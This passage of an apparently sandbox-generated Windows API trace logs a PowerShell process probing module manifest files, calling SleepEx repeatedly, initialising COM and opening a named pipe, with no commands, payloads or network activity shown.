Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1")) returned 0x20 [0155.106] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsDeveloperLicense\\WindowsDeveloperLicense.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowsdeveloperlicense\\windowsdeveloperlicense.psd1")) returned 0x20 [0155.106] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Wdac\\Wdac.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\wdac\\wdac.psd1")) returned 0x20 [0155.107] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient\\AppvClient.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\appvclient\\appvclient.psd1")) returned 0x20 [0155.108] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSecurity\\NetSecurity.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netsecurity\\netsecurity.psd1")) returned 0x20 [0155.131] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\pester.psm1")) returned 0x20 [0155.131] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0155.132] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0155.134] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\Microsoft.PowerShell.Host.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host\\microsoft.powershell.host.psd1")) returned 0x20 [0155.134] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\NetNat.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\netnat.psd1")) returned 0x20 [0155.136] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.2\\psreadline.psd1")) returned 0x20 [0155.136] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadLine.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.2\\psreadline.psm1")) returned 0x20 [0155.136] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadLine.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.1\\psreadline.psm1")) returned 0x20 [0155.137] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1")) returned 0x20 [0155.139] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\PrintManagement.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\printmanagement\\printmanagement.psd1")) returned 0x20 [0155.141] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DnsClient\\DnsClient.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\dnsclient\\dnsclient.psd1")) returned 0x20 [0155.143] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx\\Appx.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\appx\\appx.psd1")) returned 0x20 [0155.143] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.3.5\\pester.psd1")) returned 0x20 [0155.143] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.4.0\\pester.psd1")) returned 0x20 [0155.143] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetEventPacketCapture\\NetEventPacketCapture.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\neteventpacketcapture\\neteventpacketcapture.psd1")) returned 0x20 [0155.145] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\bitstransfer\\bitstransfer.psd1")) returned 0x20 [0155.145] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PKI\\PKI.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\pki\\pki.psd1")) returned 0x20 [0155.145] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management\\Microsoft.WSMan.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management\\microsoft.wsman.management.psd1")) returned 0x20 [0155.146] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\international\\international.psd1")) returned 0x20 [0155.146] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds\\Kds.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\kds\\kds.psd1")) returned 0x20 [0155.147] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowserrorreporting\\windowserrorreporting.psm1")) returned 0x20 [0155.147] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1")) returned 0x20 [0155.147] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0155.147] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\Microsoft.PowerShell.Archive.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive\\microsoft.powershell.archive.psd1")) returned 0x20 [0155.149] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot\\SecureBoot.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\secureboot\\secureboot.psd1")) returned 0x20 [0155.151] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0155.163] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0155.224] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0155.267] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0155.328] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0155.376] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0155.466] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0155.548] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0155.704] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0155.797] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0155.848] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0155.946] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0156.034] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0156.128] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0156.215] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0156.300] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0156.411] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0156.540] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0156.590] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0156.632] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0156.673] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0156.719] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0156.765] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0156.828] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0156.875] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0159.451] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0159.592] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0159.699] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0159.793] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0159.847] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0159.901] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0159.938] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x2504c7ee88 | out: UnbiasedTime=0x2504c7ee88) returned 1 [0159.938] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x2504c7ee88 | out: UnbiasedTime=0x2504c7ee88) returned 1 [0159.941] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0159.979] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0160.021] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0160.067] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0160.127] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0160.148] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0160.192] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0160.330] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0160.497] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0160.599] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0160.645] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0160.732] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0160.785] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0160.837] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0160.842] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0160.883] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0160.934] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0160.973] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0161.027] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0161.087] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0161.132] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0161.168] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0161.200] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0161.208] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0161.211] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0164.189] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0165.598] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0165.744] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0165.832] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0166.007] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0166.104] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0167.006] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0167.033] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0167.075] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0167.144] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0167.281] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0167.402] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0167.473] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0167.566] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0167.661] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0167.816] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0167.911] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0167.996] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0168.113] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0168.305] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0168.473] SleepEx (dwMilliseconds=0x0, bAlertable=0) Thread: id = 155 os_tid = 0x6c4 Thread: id = 156 os_tid = 0x1320 [0116.233] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0116.233] CoGetContextToken (in: pToken=0x2504d3f9f0 | out: pToken=0x2504d3f9f0) returned 0x0 [0116.233] CObjectContext::QueryInterface () returned 0x0 [0116.233] CObjectContext::GetCurrentThreadType () returned 0x0 [0116.233] Release () returned 0x0 [0116.233] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0116.233] CoUninitialize () [0116.233] RoInitialize () returned 0x1 [0116.233] RoUninitialize () returned 0x0 [0168.465] CoGetContextToken (in: pToken=0x2504d3f610 | out: pToken=0x2504d3f610) returned 0x0 [0168.465] CObjectContext::QueryInterface () returned 0x0 [0168.465] CObjectContext::GetCurrentThreadType () returned 0x0 [0168.465] Release () returned 0x0 Thread: id = 157 os_tid = 0x131c [0116.247] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0116.247] RoInitialize () returned 0x1 [0116.247] RoUninitialize () returned 0x0 [0116.249] GetCurrentProcessId () returned 0x6d0 [0116.251] EtwEventWriteTransfer () returned 0x0 [0116.251] EtwEventWriteTransfer () returned 0x0 [0116.259] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x61c [0116.263] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Threading.OverlappedData_Disabled", lpBuffer=0x2504dbdd10, nSize=0x80 | out: lpBuffer="?ӛ%") returned 0x0 [0116.263] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Threading.OverlappedData_MinCount", lpBuffer=0x2504dbdd10, nSize=0x80 | out: lpBuffer="?ӛ%") returned 0x0 [0116.266] EtwEventRegister () returned 0x0 [0116.266] EtwEventSetInformation () returned 0x0 [0116.269] ConnectNamedPipe (in: hNamedPipe=0x5ec, lpOverlapped=0x1cbda6e4158 | out: lpOverlapped=0x1cbda6e4158) returned 0 Thread: id = 159 os_tid = 0x8c8 Thread: id = 160 os_tid = 0xd14 [0121.466] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0121.467] CoGetContextToken (in: pToken=0x2504e7f770 | out: pToken=0x2504e7f770) returned 0x0 [0121.467] CObjectContext::QueryInterface () returned 0x0 [0121.467] CObjectContext::GetCurrentThreadType () returned 0x0 [0121.467] Release () returned 0x0 [0121.467] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0121.467] CoUninitialize () [0121.468] RoInitialize () returned 0x1 [0121.468] RoUninitialize () returned 0x0 [0121.628] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.754] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.855] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.942] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.084] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.193] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.333] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.443] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.489] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.058] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.561] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.593] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.719] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.765] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.805] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.864] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.911] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0128.861] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0128.955] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.080] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.133] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.177] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.240] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.286] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.349] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.410] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.504] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.616] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.692] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.738] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.786] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.832] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.880] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.957] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0130.092] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0130.195] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0130.270] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0130.350] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0130.396] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0130.457] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0130.520] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0130.782] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0130.851] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0130.896] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0130.970] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.082] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.208] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.288] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.332] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.388] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.427] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.489] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.547] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.586] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.611] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.656] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.728] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0132.275] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0132.387] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0132.454] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0132.556] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0132.637] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0132.698] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0132.756] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0139.143] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0139.192] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0139.239] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0139.289] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0139.332] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0139.399] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0139.442] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0139.536] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0139.618] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0139.740] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0139.848] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0139.943] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0140.036] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0140.130] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0140.223] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0140.325] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0140.410] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0140.535] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0140.661] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0140.832] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.261] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.490] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.614] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.717] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.963] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0142.100] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0142.192] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0142.286] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0142.381] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0142.505] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0142.663] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0142.770] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0143.111] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0143.271] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0143.442] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0143.535] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0143.680] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0143.727] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0143.876] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0143.922] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0143.938] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0144.337] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0144.778] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0144.893] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0145.239] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0145.302] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0145.434] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0145.564] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0145.661] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0145.755] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0145.855] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x2504e7eb58 | out: UnbiasedTime=0x2504e7eb58) returned 1 [0145.855] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x2504e7eb58 | out: UnbiasedTime=0x2504e7eb58) returned 1 [0145.870] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0145.913] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0145.977] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0146.274] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0146.337] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0146.404] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0146.509] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0146.598] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0146.707] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0146.865] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0147.879] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0148.022] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0148.115] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0148.575] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0148.677] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0148.786] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0148.871] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0148.957] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0149.067] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0149.504] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0149.598] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0149.672] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0149.895] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0150.036] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0150.113] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0155.046] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0155.157] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0155.221] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0155.266] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0155.327] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0155.375] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0155.438] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0155.498] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0155.659] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0155.751] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0155.832] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0155.926] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0156.015] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0156.109] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x2504e7f188 | out: 